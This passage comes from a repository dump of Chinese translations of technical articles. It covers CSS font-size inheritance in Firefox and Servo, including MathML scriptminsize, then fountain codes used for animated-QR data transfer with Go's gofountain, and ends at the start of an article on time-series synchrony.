属性，必须尽早计算。\n\n到此为止，还不算太糟。\n\n现在，难以预料的事情出现了。这种对 language 和 family 的**依赖**是可以**继承的**。\n\n快看，`div` 里面的字体大小是多少呢？\n\n```\n<div style=\"font-size: medium; font-family: sans-serif;\"> <!-- base size 16 -->\n    font size is 16px\n    <div style=\"font-family: monospace\"> <!-- base size 13 -->\n        font size is ??\n    </div>\n</div>\n```\n\n对于可继承的 CSS 属性<sup id=\"fnref:3\">[3](#fn:3)</sup>，如果父级的计算值是 `16px`，且子元素没有被指定其他值，那么子元素将继承这个 `16px` 的值。子元素不需要关心父元素是**从哪里**得到这个计算值的。\n\n现在，`font-size` “继承”了一个 `13px` 的值。你能从这里（[codepen](https://codepen.io/anon/pen/MvorQQ)）看到结果：\n\n<div style=\"border: 1px solid black; display: inline-block; padding: 15px;\">\n    <div style=\"font-size: medium; font-family: sans-serif;\">font size is 16px\n        <div style=\"font-family: monospace\">font size is ??</div>\n    </div>\n</div>\n\n基本上，如果计算的值来自关键字，那么无论 font family 或 language 如何变化，font-size 都会用关键字里的 font family 和 language 来重新计算。\n\n这么做的原因是如果不这么做，不同的字体大小将无法工作。默认字体大小为 `medium`，因此根元素基本上会得到一个 `font-size: medium` 而其他元素将继承这个声明。如果在文档中将其改为等宽字体或使用其他语言，则需要重新计算字体大小。\n\n不仅如此。它甚至通过**相对单位**继承（IE 除外）。\n\n```\n<div style=\"font-size: medium; font-family: sans-serif;\"> <!-- base size 16 -->\n    font size is 16px\n    <div style=\"font-size: 0.9em\"> <!-- could also be font-size: 50%-->\n        font size is 14.4px (16 * 0.9)\n        <div style=\"font-family: monospace\"> <!-- base size 13 -->\n            font size is 11.7px! (13 * 0.9)\n        </div>\n    </div>\n</div>\n```\n\n([codepen](https://codepen.io/anon/pen/oewpER))\n\n<div style=\"border: 1px solid black; display: inline-block; padding: 15px;\">\n    <div style=\"font-size: medium; font-family: sans-serif;\">font size is 16px\n        <div style=\"font-size: 0.9em\">font size is 14.4px (16 * 0.9)\n\n            <div style=\"font-family: monospace\">font size is 11.7px! (13 * 0.9)</div>\n        </div>\n    </div>\n</div>\n\n因此，当我们从第二个 div 继承时，实际继承的是 `0.9*medium`，而不是 `14.4px`。\n\n另一种看待这个问题的方法是，每当 font family 或 language 怎么变化，你都应该重新计算字体大小， 就好像 language 和 family 没有变化一样。\n\nFirefox 同时使用了这两种策略。最初的 Gecko 样式系统通过实际返回树的顶部并重新计算字体大小来处理这个问题，就好像 language 和 family 是不同的一样。我怀疑这是低效的，但是规则树似乎使其略微高效了一些。\n\n另一方面，在计算的同时，Servo 会存储一些额外的数据，这些数据会被复制到子元素中。基本上来说, 存储的内容相当于：“是的，这个字体是从关键字计算出来的。关键字是 `medium`，然后我们对它应用了 0.9 因子。”<sup id=\"fnref:4\">[4](#fn:4)</sup>\n\n在这两种情况下，这都会导致所有**其他**字体大小复杂性加剧，因为它们需要通过这种方式得到谨慎的保护。\n\n在 Servo 里，**多数**情况都是通过 [font-size 自定义级联函数](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/longhand/font.mako.rs#L964-L1061) 来处理的。\n\n## Larger/smaller\n\n前面我提到了 `font-size: larger`/`smaller` 的是按比例缩放的，但还没有提到对应的比例值。\n\n根据 [规范](https://drafts.csswg.org/css-fonts-3/#relative-size-value)，如果当前字体大小与绝对关键字大小的值匹配（medium，large 等），则应该选择上一个或下一个关键字大小的值。\n\n如果是在两个绝对关键字值**之间**，则在前两个或后两个尺寸中间寻找相同比例的点。\n\n当然，这必须很好地处理之前提到的关键字字体大小的奇怪继承问题。在 gecko 模型中这并不太难，因为 Gecko 无论如何都会重新计算。在 Servo 的模块中，我们存储一系列 `larger`/`smaller` 的应用和相对单位，而不是只存储一个相对单位。\n\n此外，在文本缩放过程中计算此值时，必须先取消缩放，然后再在表中查找，然后重新缩放。\n\n总的来说，一堆复杂的东西并没有带来多大的收益 —— 原来只有 Gecko 真正遵循了规范！其他浏览器引擎只是使用了简单的比例缩放。\n\n所以我的解决方案 [就是把这种行为从 Gecko 上移除](https://bugzilla.mozilla.org/show_bug.cgi?id=1361550)。简化了这个处理过程。\n\n## MathML\n\nFirefox 和 Safari 支持数学标记语言 MathML。如今，它在网络上使用不多，但它确实存在。\n\n当谈到字体大小时，MathML 也有它的复杂性。特别是 `scriptminsize`，`scriptlevel` 和 `scriptsizemultiplier`。\n\n例如，在 MathML 中，分子、分母或是文字上标是其外部文本字体大小的 0.71 倍。这是因为 MathML 元素默认的 `scriptsizemultiplier` 为 0.71, 而这些特定元素的 scriptlevel 默认为 `+1`。\n\n基本上，`scriptlevel=+1` 的意思是 “字体大小乘以 `scriptsizemultiplier`”，而 `scriptlevel=-1` 则用于消除这种影响。这可以通过在 `mstyle` 元素上设置 `scriptlevel` 属性指定。同样你也可以通过 `scriptsizemultiplier` 来调整（继承的）乘数因子，通过 `scriptminsize` 来调整最小值。\n\n例如：\n\n```\n<math><msup>\n    <mi>text</mi>\n    <mn>small superscript</mn>\n</msup></math><br>\n<math>\n    text\n    <mstyle scriptlevel=+1>\n        small\n        <mstyle scriptlevel=+1>\n            smaller\n            <mstyle scriptlevel=-1>\n                small again\n            </mstyle>\n        </mstyle>\n    </mstyle>\n</math>\n```\n\n显示如下（需要用 Firefox 来查看呈现版本，Safari 也支持 MathML，但支持不太好）：\n\n<div style=\"border: 1px solid black; display: inline-block; padding: 15px;\"><math><msup><mi>text</mi><mn>small superscript</mn></msup></math>\n<math>text <mstyle scriptlevel=\"+1\">small <mstyle scriptlevel=\"+1\">smaller <mstyle scriptlevel=\"-1\">small again</mstyle></mstyle></mstyle></math></div>\n\n([codepen](https://codepen.io/anon/pen/BdZJgR))\n\n所以这没那么糟。就好像 `scriptlevel` 是一个奇怪的 `em` 单位。没什么大不了的，我们已经知道如何处理这些问题了。\n\n还有 `scriptminsize`。这使你可以**为 `scriptlevel` 所引起的更改**设置最小字体大小。\n\n这意味着，`scriptminsize` 将确保 `scriptlevel` 不会导致出现比最小尺寸更小的字体，但它会忽略特意指定的 `em` 单位和像素值。\n\n这里已经引入了一点微妙的复杂性，现在 `scriptlevel` 成了影响到 `font-size` 如何继承的另一个因素了。幸运的是，在 Firefox/Servo 的内部，`scriptlevel`（以及 `scriptminsize` 和 `scriptsizemultiplier`）也是作为 CSS 属性处理，这意味着我们可以使用与 font-family 和 language 一样的框架来处理 —— 在字体大小设置之前计算脚本属性，如果设置了 `scriptlevel`，则强制重新计算字体大小，即使没有设置字体大小本身。\n\n### 插曲：早期和晚期处理属性\n\n在 Servo 中，我们处理属性依赖关系的方式是拥有一组 “早期” 属性和一组 “后期” 属性（允许依赖于早期属性）。我们对声明进行了两次查找，一次是查找早期属性，另一次是后期属性。然而，现在我们有了一组相当复杂的依赖关系，其中 font-size 必须在 language、font-family 和脚本属性之后计算，但在其他所有涉及长度的东西之前计算。另外，由于另一个我没有谈到的字体复杂性，font-family 必须在所有其他早期属性之后进行计算。\n\n我们处理这个问题的方法是在早期计算时 [抽离 font-size 和 font-family](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3195-L3204) ，直到[早期计算完成后再处理它](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3211-L3327)。\n\n在这个阶段，我们首先[处理文本缩放的禁用](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3219-L3233)，然后处理 [font-family 的复杂性](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3235-L3277)。\n\n然后[计算 font family](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3280-L3303)。如果指定了字体大小，则[进行计算](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3305-L3309)。如果没有指定，但指定了 font family，lang 或 scriptlevel，则[强制将计算作为继承](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/properties.mako.rs#L3310-L3324)，来处理所有的约束。\n\n### 为什么 scriptminsize 会变得这么复杂\n\n与其他 “最小字体大小” 不同，在字体大小被 scriptminsize 限制时，在任何属性中使用 `em` 单位都将用一个钳位值来计算长度，而不是 “如果没有被钳位” 的值, 如果字体大小被 scriptminsize 限制。因此，乍一看，处理这一点似乎很简单；当因为 scriptlevel 而需要缩放时, 只考虑最小字体大小  scriptminsize。\n\n和往常一样，事情并没有这么简单 😀：\n\n```\n<math>\n<mstyle scriptminsize=\"10px\" scriptsizemultiplier=\"0.75\" style=\"font-size:20px\">\n    20px\n    <mstyle scriptlevel=\"+1\">\n        15px\n        <mstyle scriptlevel=\"+1\">\n            11.25px\n                <mstyle scriptlevel=\"+1\">\n                    would be 8.4375, but is clamped at 10px\n                        <mstyle scriptlevel=\"+1\">\n                            would be 6.328125, but is clamped at 10px\n                                <mstyle scriptlevel=\"-1\">\n                                    This is not 10px/0.75=13.3, rather it is still clamped at 10px\n                                        <mstyle scriptlevel=\"-1\">\n                                            This is not 10px/0.75=13.3, rather it is still clamped at 10px\n                                            <mstyle scriptlevel=\"-1\">\n                                                This is 11.25px again\n                                                    <mstyle scriptlevel=\"-1\">\n                                                        This is 15px again\n                                                    </mstyle>\n                                            </mstyle>\n                                        </mstyle>\n                                </mstyle>\n                        </mstyle>\n                </mstyle>\n        </mstyle>\n    </mstyle>\n</mstyle>\n</math>\n```\n\n（[codepen](https://codepen.io/anon/pen/wqepjo)）\n\n基本上来说, 如果你在达到最小字体大小后继续多次增加层级, 然后减掉一个层级, 是没法立即计算出 `min size / multiplier` 的值的。这使之变得不对称了, 如果乘数因子没有变化, 一个净层级为 `+5` 应该与一个净层级为 `+6 -1` 的元素具有相同字体大小。\n\n因此，所发生的情况是，script level 是根据字体大小计算的**就好像 scriptminsize 从未应用过一样**，而且只有当脚本大小大于最小大小时，我们才使用该大小。\n\n这不仅仅是跟踪 script level 还需要跟踪 multiplier 的变化。因此，这最终将创建**另一个要继承的字体大小值**。\n\n概括地说，我们现在有**四**种不同的继承字体大小的概念：\n\n*   样式使用的主要字体大小\n*   “实际” 的字体大小，即主要的字体大小，但受限于最小值\n*   （仅在 servo 中的）“关键字” 尺寸；即存储为关键字和比率的大小（如果它是从关键字派生的）\n*   “不受脚本控制的” 尺寸；就像 scriptminsize 从不存在。\n\n另一个复杂性在于下面这种情况应该仍然能正常工作：\n\n```\n<math>\n<mstyle scriptminsize=\"10px\" scriptsizemultiplier=\"0.75\" style=\"font-size: 5px\">\n    5px\n    <mstyle scriptlevel=\"-1\">\n        6.666px\n    </mstyle>\n</mstyle>\n</math>\n```\n\n([codepen](https://codepen.io/anon/pen/prwpVd))\n\n如果已经比 scriptminsize 还小，减少 script level（以增大字体大小）不应该被钳制，因为之后这会让它看起来过于巨大。\n\n这基本上意味着, 只能在 script level 对应的值大于脚本最小字体大小时, 使用 scriptminsize。\n\n在 Servo 中，所有 MathML 的处理都被[这个奇妙的注释比代码多的函数](https://github.com/servo/servo/blob/53c6f8ea8bf1002d0c99c067601fe070dcd6bcf1/components/style/properties/gecko.mako.rs#L2304-L2403)以及它附近函数的一些代码完美解决。\n\n* * *\n\n这就是你要了解的。`font-size` 实际上是相当复杂的。很多网络平台都隐藏着这样的复杂情况，但遇到了却会觉得十分有趣。\n\n（当我必须实现它们时，可能就没那么有趣了。 😂）\n\n感谢 mystor，mgattozzi，bstrie 和 projektir 审阅了这篇文章的草稿。\n\n* * *\n\n1. 有趣的是，在 Firefox 中，对所有的 ruby 来说这个数值为 50%，当语言为台湾中文时**除外**（此时为 30%）。 这是因为台湾使用一种名为 Bopomofo 的拼音文字，每一个汉字可由最多三个 Bopomofo 字符表示。因此，有可能选择一个合理的最小尺寸，使 ruby 永远不会超出下面的文字。另一方面，拼音最多可达 6 个字母，而日语平假名最多可达 (我认为) 5 个，相应的 “no overflow” 将使文字显得太小。 因此，将它们放在字上并不是问题，相反，为了更好的可读性，我们选择使用更大的字体大小。 此外，Bopomofo ruby 通常是放在文字的旁边而非顶部, 所以 30% 效果更好。（h/t @upsuper 指出了这一点）[↩](#fnref:1)\n2. 其他的浏览器引擎也有其他的优化，但我还不了解它们。[↩](#fnref:2)\n3. 有些属性是继承的，有些是 “reset” 的。例如，`font-family` 继承的 —— 除非另外设置。但是 `transform` 却不是，如果你在元素上应用了 transform 但它的子元素却不会继承这个属性。[↩](#fnref:3)\n4. 这不能处理 `calc`s，这是我需要解决的问题。除了比率之外，还存储一个绝对偏移量。[↩](#fnref:4)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/fountaincodes.md",
    "content": "> * 原文地址：[Fountain codes and animated QR](https://divan.dev/posts/fountaincodes/)\n> * 原文作者：[Ivan Daniluk](https://github.com/divan)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/fountaincodes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/fountaincodes.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[40m41h42t](https://github.com/40m41h42t)，[Ultrasteve](https://github.com/Ultrasteve)\n\n# 喷泉码和动态二维码\n\n![fountain](https://divan.dev/images/fountain.jpg)  \n（图像来源：[Anders Sune Berg](https://olafureliasson.net/archive/artwork/WEK110140/waterfall)）\n\n在[前一篇文章](https://divan.dev/posts/animatedqr/)中，我讲解了一个我在周末完成的项目：[txqr](https://github.com/divan/txqr)，它使用了动态二维码序列，可以用于单向的状态传输。最简单直接的方法就是不停重复的编码数据序列，直到接收者获取到了完整的数据。这样简单的重复代码足够初学者用于起步学习，并且很容易执行，但方案还同时引入一定的延迟来防止接收者遗漏任何一帧的信息，在实际应用过程中，错失信息的情况经常出现。\n\n对于如何解决以上这种在有噪信道中传输数据的问题，已经有十分完整的理论研究，那就是编码理论。\n\n在前一篇文章的评论中，[Bojtos Kiskutya](https://disqus.com/by/bojtoskiskutya/) 提到了 LT 码，它可以让 **txqr** 得出更佳结果。这正是我乐意看到的评论 —— 不仅是优化的建议，同时也让我能发现一些新的有趣的内容。由于我从没有接触过 LT 编码，在接下来的几天内我尽我所能的学习了相关的内容。\n\n于是我知道了，[LT codes](https://en.wikipedia.org/wiki/Luby_transform_code)（**LT** 是 卢比变换（**L**uby **T**ransform）的简写）是一个更大的编码方式：[喷泉码](https://en.wikipedia.org/wiki/Fountain_code)的一种实现方式。它是[纠删码](https://en.wikipedia.org/wiki/Erasure_codes)中的一类，它可以从源信息块（K 个）中产生无限数量的数据块，并且它接收比 K 个编码块稍多的信息就足以正确解码信息。接收者可以从任意位置开始接收数据块，也可以按任意顺序接收，并可以设置任意的擦除概率 —— 当你接收到 K 个以上不同的数据块，喷泉码就可以开始工作。这实际上就是“喷泉”这个名字的由来 —— 我们将装满水桶这个行为比作接收信息，喷泉喷出水滴这个行为比作发送一系列编码块，换句话说，你可以在不知晓你当前接收到的是哪一个水滴的情况下，装满你的水桶。\n\n将它用于我的项目简直再合适不过了，所以我快速的搜索了基于 Go 的实现方式：[google/gofountain](https://github.com/google/gofountain)，并将我之前的初级版重复编码的代码替换成了卢比变换的实现。代码替换后的测试结果非常优秀，于是在这篇文章中，我将会分享一些 LT 算法的细节，以及使用 **gofountain** 包容易犯错的地方，最后我还会给出两种代码最终测试结果的对比。\n\n# 喷泉码牛逼！\n\n如果你和我一样，还从未听说过喷泉码，也不用担心 —— 因为喷泉码还属于比较新的技术，目前只能解决一小部分很专业的问题。但是喷泉码其实非常酷。它完美的结合了随机性、数学逻辑以及概率分布，从而达成了它的最终目的。\n\n虽然我主要介绍 LT 编码，但是在这个编码系统中其实还有很多其他算法 —— 比如 [Online codes](https://en.wikipedia.org/wiki/Online_codes)、[Tornado codes](https://en.wikipedia.org/wiki/Tornado_codes)、[Raptor codes](https://en.wikipedia.org/wiki/Raptor_code#Legal_complexity) 等等，这其中 Raptor codes 在除了合法性之外的几乎所有方面都更胜一筹。但是它们似乎都受到严格的专利保护，所以并未得到广泛的应用。\n\nLT 编码的原理相对简单 —— 编码器将信息分割为多个**源信息块**，然后持续的创建**编码块**，这些编码块包含了 1 个或 2 个源信息块，或者更随机的选择**源信息块**并将所有被选择的源信息块作异或操作，得到一个输出。用于创建每个新的**编码块**的 ID 被随机的保存在其中。\n\n![lt encoder](https://divan.dev/images/ltcodes.gif)\n\n在这一轮计算中，编码器会收集所有的**编码块**（就像喷泉中的水珠）—— 它们有的仅包含一个**源信息块**，有的包含两个或者更多 —— 然后将它们和已经解码的块做异或操作来解码还原成新的信息块。\n\n所以，当解码器接收到了仅由一个**源信息块**组成的**编码块** —— 它就将它添加到解码块队列中，不需要其他操作。而如果它接收到了使用两个**源信息块**异或组成的编码快，解码器会检查它们传输时附带的 ID，如果其中一个已经在解码队列中了 —— 那么根据异或操作的性质，恢复这个编码快也就非常简单了。解码两个以上**源信息块**组成的**编码块**也同理 —— 一旦你能获取到一个解码块 —— 只需要继续做异或操作就可以了。\n\n### 孤子分布\n\n最酷的地方在于如何选择多少编码块仅由一个**源信息块**编码而来，以及多少是用两个或更多**源信息块**编码而来。如果有太多的单源信息块编码包，你可能会损失需要的冗余度。而如果太多的多源信息块编码包 —— 那么在一个有噪信道获取单源信息块会花费过多的时间。因此 Luby 编码的命名者，[Michael Luby](https://en.wikipedia.org/wiki/Michael_Luby) 称[孤子分布](https://en.wikipedia.org/wiki/Soliton_distribution)几乎是解决这个问题最完美的分布方式，它能保证你得到足够多的单源信息块编码包，同时也有**很多**的双源信息块编码包，它还有一个很长的尾数，可用于多源信息块编码包直到 N 源信息块编码包，其中 N 是**源信息块**的数量。\n\n![solition distribution](https://divan.dev/images/solition.png)\n\n这是对分布头部数据的更清晰的展示：\n\n![solition distribution zoom](https://divan.dev/images/solition_zoom.png)\n\n你可以看到，这里有一些非零数量的单源信息编码包，其中双源信息编码包占据了分布总量的很大一部分（精确地来说是一半），余下的数量被递减的分布在多源信息编码包中，一个块中包含的源信息块数量越多，这样的编码块就越少。\n\n所有这些特性，让 LT 编码具有了不依赖于发送频率或模式通信信道丢包率的特性。\n\n对于我的 txqr 项目这就意味着，无论使用何种编码和传输参数，使用喷泉码都能够减少平均编码时间。\n\n# google 的 gofountain\n\n谷歌研发的 gofountain 包使用 Go 语言实现了几个喷泉编码，其中包括 Luby 变换码。它的 [API 都很轻量](https://godoc.org/github.com/google/gofountain)（对于库来说，这是一个好兆头）—— 基本只包含了 `Codec` 接口以及一些实现代码、`EncodeLTBlocks()` 函数，和一些作为伪随机生成器的帮助函数。\n\n但是，在试图理解 `EncodeLTBlocks()` 的第二个参数是什么意义的时候，我有些迷惑了：\n\n```\nfunc EncodeLTBlocks(message []byte, encodedBlockIDs []int64, c Codec) []LTBlock\n```\n\n为什么我需要将数据块 ID 提供给编码器，我甚至不希望关注数据块的其他属性，因为实现算法应该是库本身而不是使用库用户需要关注的问题。所以最开始我猜测只需传输所有数据块 ID —— `1..N`。\n\n我猜测的和事实很接近 —— 测试的调试输出编码块正如我想要的，但解码过程却总不能正确的执行。\n\n我查看了 [gofountain 的文档页](https://godoc.org/github.com/google/gofountain)，想看看还有什么其他包使用了它，结果发现了一个开源的用于在有损网络环境下传输大型文件的库 —— [pump](https://github.com/sudhirj/pump)，其作者是 [Sudhir Jonathan](https://github.com/sudhirj)，于是我决定借助一下友好的 Gopher 社区的力量，并试着在 Gopher slack 上联系了 Sudhir，询问他是否能帮助我弄明白这些 ID 的用途。\n\n后来我成功的联系到了 Sudhir，他给了我很缜密的答案并解除了我所有的疑惑，这对我帮助非常大。使用这个库正确的方式是将数据块 ID 以递增的顺序连续的发送 —— 例如，`1..N`、`N..2N`、`2N..3N` 等等。因为一般情况下，我们并不知道信道的噪声级别，所以总要生成新的数据块，这是非常重要的。\n\n所以这些 ID 正确的用途应该是循环生成 ID 块，并在一个循环中调用 `EncodeLTBlocks` 函数。但是为了实现这个功能，我必须确保二维码编码速度足够快，能在运行中及时生成新的数据块。对于每秒 15 帧的速率，编码下一个数据块以及生成新的二维码的总时间应小于 1/15 秒，也就是 66ms。很明显这是可行的，但是需要仔细地进行基准测试并优化，以保证对于浏览器上的单核 GopherJS-transpiled 版本也满足这个条件。\n\n另外，目前还有一些设计方面的限制 —— `txqr.Encode()` API 期望能返回一个具体的数字，它表示了将有多少个块会被编码为二维码帧，还有 `txqr-tester` 会生成动态 GIF 文件，确保在浏览器运行时帧率的可靠性，所以我决定现在还是不要打破 API 的限制，使用有冗余因子的方法。\n\n冗余因子方法基于假设：在我的项目中，噪音多少是可以预测的 —— 跳帧不会多于 20%。我们可以生成 `N*redundancyFactor` 个帧，然后像循环代码方法那样做循环，在常规案例中，这是个次优的方案，但是对于我的项目需求和受掌控外部条件，这已经足够了。所以关于 `encodedBlockIDs` 参数，我是用了一个简单的帮助函数：\n\n```\n// ids 函数使用 0..n 中的值生成多个 ID 切片\nfunc ids(n int) []int64 {\n    ids := make([]int64, n)\n    for i := int64(0); i < int64(n); i++ {\n        ids[i] = i\n    }\n    return ids\n}\n```\n\n通过如下方式调用：\n\n```\n    codec := fountain.NewLubyCodec(N, rand.New(fountain.NewMersenneTwister(200)), solitonDistribution(N))\n\n    idsToEncode := ids(int(N * e.redundancyFactor))\n    lubyBlocks := fountain.EncodeLTBlocks(msg, idsToEncode, codec)\n```\n\n对于不感兴趣 `gofountain` 的读者，这部分可能是一个非必需并且有些无聊的部分，但是我希望对那些也被这个 API 所迷惑的人有帮助，这样他们就可以通过搜索结果找到这篇文章了。\n\n# 测试结果\n\n由于我保存了原始包的 API，余下的工作就非常容易了。你也许记得在[前一篇文章](https://divan.dev/posts/animatedqr/)中，我在 web 端的应用使用了名为 `txqr-tester` 的 txqr 项目的 Go 语言包，它可以在浏览器中运行。在这里，Go 的可跨平台的特性又一次让我感到很兴奋！我只需要切换到包含有新的编码和解码实现的 `fountain-codes` 分支，运行 `go generate` 来执行 `gomobile` 和 `gopherjs` 命令，然后只需要几秒钟，喷泉码应用就可以在 Swift 和浏览器中使用了。\n\n我想，恐怕没有其他的语言能够做到了吧？\n\n接下来我启动了测试程序，包括启动三脚架上的手机以及外界显示器，配置测试参数，以及启动自动测试，这个过程会持续将近半天的时间。这次我没有为了节省时间而修改二维码错误级别，因为似乎这个参数对结果的影响基本可以忽略。\n\n结果让我非常震撼。\n\n测试传输大概 13KB 数据所记录的时间现在只有半秒，准确的说是 **501ms** —— 传输速率就接近 25kbps。这组记录配置的是 12FPS、每个二维码 1850 字节信息，以及低错误矫正等级。解码所需要的时间差异显著下降，因为“需要循环迭代”以及重复代码的部分在这一版本中都没有了。如下是对比**重复代码**和**喷泉码**的解码时间直方图：\n\n[![time_histogram](https://plot.ly/~divan0/15.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/15/?share_key=t8DizOL9dynI6NTcLA88Xi \"time_histogram\") \n\n如你所见，大多数配置了不同 FPS 和数据块大小的值的解码测试时间都集中在时间轴上数字比较小的位置 —— 大多数都小于 4 秒。\n\n这是一个更加详细的结果：\n\n[![time_vs_size](https://plot.ly/~divan0/16.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/16/?share_key=t8DizOL9dynI6NTcLA88Xi \"time_vs_size\") \n\n测试结果非常优秀，所以我决定使用大于 1000 字节的块来运行测试 —— 块大小最高可以达到 2000 字节。这为我呈现了非常有趣的结果：很多块大小在 1400 到 1700 字节的测试超时了，但是 1800-2000 字节的块的结果确是目前来说最好的：\n\n[![time_vs_size_2k](https://plot.ly/~divan0/7.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/7/?share_key=t8DizOL9dynI6NTcLA88Xi \"time_vs_size_2k\") \n\n在这次测试中，FPS 的影响似乎显得更加微不足道了，但是却可以得出所有配置中最好的结果，我甚至可以将其提升到 15FPS：\n\n[![time_vs_fps](https://plot.ly/~divan0/9.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/9/?share_key=t8DizOL9dynI6NTcLA88Xi \"time_vs_fps\") \n\n如下是测试结果的完整的可交互 3D 图：\n\n[![3d_results](https://plot.ly/~divan0/18.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/18/?share_key=t8DizOL9dynI6NTcLA88Xi \"3d_results\") \n\n# 结论\n\n使用喷泉码绝对是一件让人兴奋的事情。它很出色但是又很简单，虽然应用的范围比较小，但却非常实用、巧妙和快捷，它们绝对是“超酷算法”中的一份子。而当你一旦明白了它们的工作原理，它们就是那些让你敬佩的算法之一了。\n\n对于 txqr 项目，它们也为之带来了性能和可靠性的提升，我期待着可以使用比 LT 编码还要有效率的算法，并实现能适用于喷泉码流线特性的 API。\n\n而 Gomobile 和 Gopherjs 则通过最大可能的减少了使用在浏览器和移动平台中已经编写和测试过的代码的麻烦，又一次展现了它们惊人的一面。\n\n# 参考链接\n\n* [Wikipedia: LT Codes](https://en.wikipedia.org/wiki/Luby_transform_code)\n* [Wikipedia: Fountain Codes](https://en.wikipedia.org/wiki/Fountain_code)\n* [Damn Cool Algorithms: Fountain Codes by Nick Johnson](http://blog.notdot.net/2012/01/Damn-Cool-Algorithms-Fountain-Codes)\n* [Introduction to fountain codes: LT codes with Python by François Andrieux](https://franpapers.com/en/algorithmic/2018-introduction-to-fountain-codes-lt-codes-with-python/)\n* [Michael Luby - Fountain Codes (video, 2004)](https://www.youtube.com/watch?v=s3lrmBczBTc)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/four-ways-to-quantify-synchrony-between-time-series-data.md",
    "content": "> * 原文地址：[Four ways to quantify synchrony between time series data](https://towardsdatascience.com/four-ways-to-quantify-synchrony-between-time-series-data-b99136c4a9c9)\n> * 原文作者：[Jin Hyun Cheong](https://medium.com/@jinhyuncheong)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/four-ways-to-quantify-synchrony-between-time-series-data.md](https://github.com/xitu/gold-miner/blob/master/TODO1/four-ways-to-quantify-synchrony-between-time-series-data.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[zhmhhu](https://github.com/zhmhhu)\n\n# 时间序列数据间量化同步的四种方法\n\n> 用于计算同步指标的示例代码和数据包括：皮尔逊相关，时间滞后互相关，动态时间扭曲和瞬时相位同步。\n\n![Airplanes flying in synchrony, photo by [Gabriel Gusmao](https://unsplash.com/@gcsgpp?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/8544/0*R3l4mQ_ZMwLSqqkE)\n\n在心理学当中，人与人之间的同步性是能提供社会动态和潜在社交产出的重要信息。它可以体现于众多领域，包括肢体动作（[Ramseyer & Tschacher, 2011](https://s3.amazonaws.com/academia.edu.documents/32743702/Nonverbal_synchrony_in_psychotherapy_Coordinated_body_movement_reflects_relationship_quality_and_out.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1557726122&Signature=bv5tXK0IqERSosMJUm4Rz9%2F71w4%3D&response-content-disposition=inline%3B%20filename%3DNonverbal_synchrony_in_psychotherapy_Coo.pdf)）、面部表情（[Riehle, Kempkensteffen, & Lincoln, 2017](https://link.springer.com/article/10.1007/s10919-016-0246-8)）、瞳孔的扩张（[Kang & Wheatley, 2015](https://www.dropbox.com/s/8sfzjaqqkb6996h/Pupils_ConscAttn_CC2015.pdf?dl=0)）以及神经信号（[Stephens, Silbert, & Hasson, 